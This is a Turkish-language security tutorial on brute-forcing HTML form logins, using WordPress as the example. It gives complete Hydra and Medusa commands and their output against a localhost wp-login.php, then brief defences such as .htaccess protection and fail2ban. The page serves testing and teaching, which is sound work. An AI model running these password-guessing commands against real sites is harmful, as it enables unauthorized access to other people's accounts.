Form Tabanlı Kimlik Doğrulama ve Brute Force Saldırıları

HTML Form tabanlı kimlik doğrulama (form authentication) günümüzde sık tercih edilen kimlik doğrulama yöntemlerinden biridir. Internet üzerinden elde edilecek araçlarla ağ tabanlı servislere yönelik parola tahmin saldırıları kolaylıkla gerçekleştirilebilir fakat form tabanlı kimlik denetiminde parametreler standart olmadığı için diğer kimlik denetimi çeşitlerine oranla saldırı gerçekleştirmek daha zahmetli ve zordur.

Ağ tabanlı servislere yönelik testler yapmak amacıyla Ncrack, Medusa ve Hydra yazılımları tercih edilebilir. Bunlar arasında esnekliği, güncelliği ve desteklediği protokollerin sayısı göz önüne alınırsa Medusa’nın tercih edilme ihtimali yüksektir.

Form Tabanlı Kimlik Doğrulama – HTTP/HTML Form Based Authentication

Form tabanlı kimlik doğrulama yapılan sayfanın kodları incelendiğinde aşağıdakine benzer bir yapıda olduğu görülecektir. Burada önemli bileşenler sunucuya kullanıcı adı, parola bilgilerini gönderecek değişkenler ve formun gönderme işlevini yürüten tanımdır.

<form id=”loginform” action=”http://www.bga.com.tr/wp-login.php” method=”post”><label>Kullanıcı adı</label>

<input id=”user_login” name=”log” size=”20″ type=”text” value=”admin” tabindex=”10″ />

<label>Parola</label>

<input id=”user_pass” name=”pwd” size=”20″ type=”password” tabindex=”20″ />

<p><label><input id=”rememberme” name=”rememberme” type=”checkbox” value=”forever” tabindex=”90″ /> Beni Hatırla</label></p>

<p><input id=”wp-submit” name=”wp-submit” type=”submit” value=”Giriş” tabindex=”100″ />

<input name=”redirect_to” type=”hidden” value=”http://www.bga.com.tr/wp-admin/” />

<input name=”testcookie” type=”hidden” value=”1″ /></p>

Formun html görüntüsü aşağıdaki gibi olacaktır.

Formda sorulan kullanıcı adı/parola bilgileri girilip gönder tuşuna basıldığında aşağıdakine benzer bir post verisi sunucuya gönderilmektedir.
log=admin&pwd=WordPress&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwordpress.org%2Fwp-admin%2F&testcookie=1


Burada kullanıcı adı değerini taşıyan form alanı “log”, parola bilgisini taşıyan form alanı “pwd” ve formu sunucuya gönderen fonksiyon “Log+In” dir. Bu değerler kullanılarak html-form-authentication destekleyen bruteforce araçlarıyla hesap bilgilerini tahmine yönelik saldırı düzenlenebilir.

Aşağıda Meduda ve Hydra kullanarak WordPress’e özel brute force saldırısının nasıl gerçekleştirileceği örneklendirilmiştir. Unutulmamalıdır ki her form tabanlı kimlik doğrulama sistemi için parametreler değişecektir. Kaynak koda bakılarak form değerlerinin ne olduğu belirlenebilir.

Hydra Kullanarak WordPress Brute Force İşlemi
# hydra -l admin -P /root/password.lst localhost http-post-form “/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit:ERROR” -t 10 -f
Hydra v5.7 (c) 2006 by van Hauser / THC – use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-02-20 03:49:48
[DATA] 10 tasks, 1 servers, 3158 login tries (l:1/p:3158), ~315 tries per task
[DATA] attacking service http-post-form on port 80
[80][www-form] host: 127.0.0.1 login: admin password: 123456
[STATUS] attack finished for localhost (valid pair found)
Hydra (http://www.thc.org) finished at 2011-02-20 03:50:21



Medusa Kullanarak WordPress Brute Force İşlemi

Brute force işlemi Medusa aracı kullanılarak gerçeklestirilmek istenirse aşağıdaki komut işe yarayacaktır.
#medusa -u admin -P password.lst -h localhost -M web-form -m FORM:”/wordpress/wp-login.php” -m DENY-SIGNAL:”ERROR” -m FORM-DATA:”post?log=&pwd=&wp-submit=Log In”
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 12345 (1 of 3159 complete)
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: abc123 (2 of 3159 complete)
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: password (3 of 3159 complete)
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: computer (4 of 3159 complete)
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: tigger (5 of 3159 complete)
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 1234 (6 of 3159 complete)
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: a1b2c3 (7 of 3159 complete)
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: qwerty (8 of 3159 complete)
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 123 (9 of 3159 complete)
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: xxx (10 of 3159 complete)
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: money (11 of 3159 complete)
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: test (12 of 3159 complete)
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: password1 (13 of 3159 complete)
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: carmen (14 of 3159 complete)
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: mickey (15 of 3159 complete)
ERROR: The answer was NOT successfully received, understood, and accepted: error code 302
ACCOUNT CHECK: [web-form] Host: localhost (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 123456 (16 of 3159 complete)
Bruteforce Denemelerinden Korunma

wp-login.php dosyası veya /wp-admin dizinini .htaccess ile korumaya alarak ek bir katman sokma.

Aynı URL’i belirli sayıdan fazla isteyen IP adreslerinin engellenmesi de başka bir korunma yoludur.  fail2ban(http://www.fail2ban.org/)gibi yazılımlar kullanarak bir ip adresinden yapılacak bağlantılara limit verebilirsiniz, limiti aşan ip adresleri otomatik olarak firewall(iptables, ipfw vs) tarafından engellenecektir.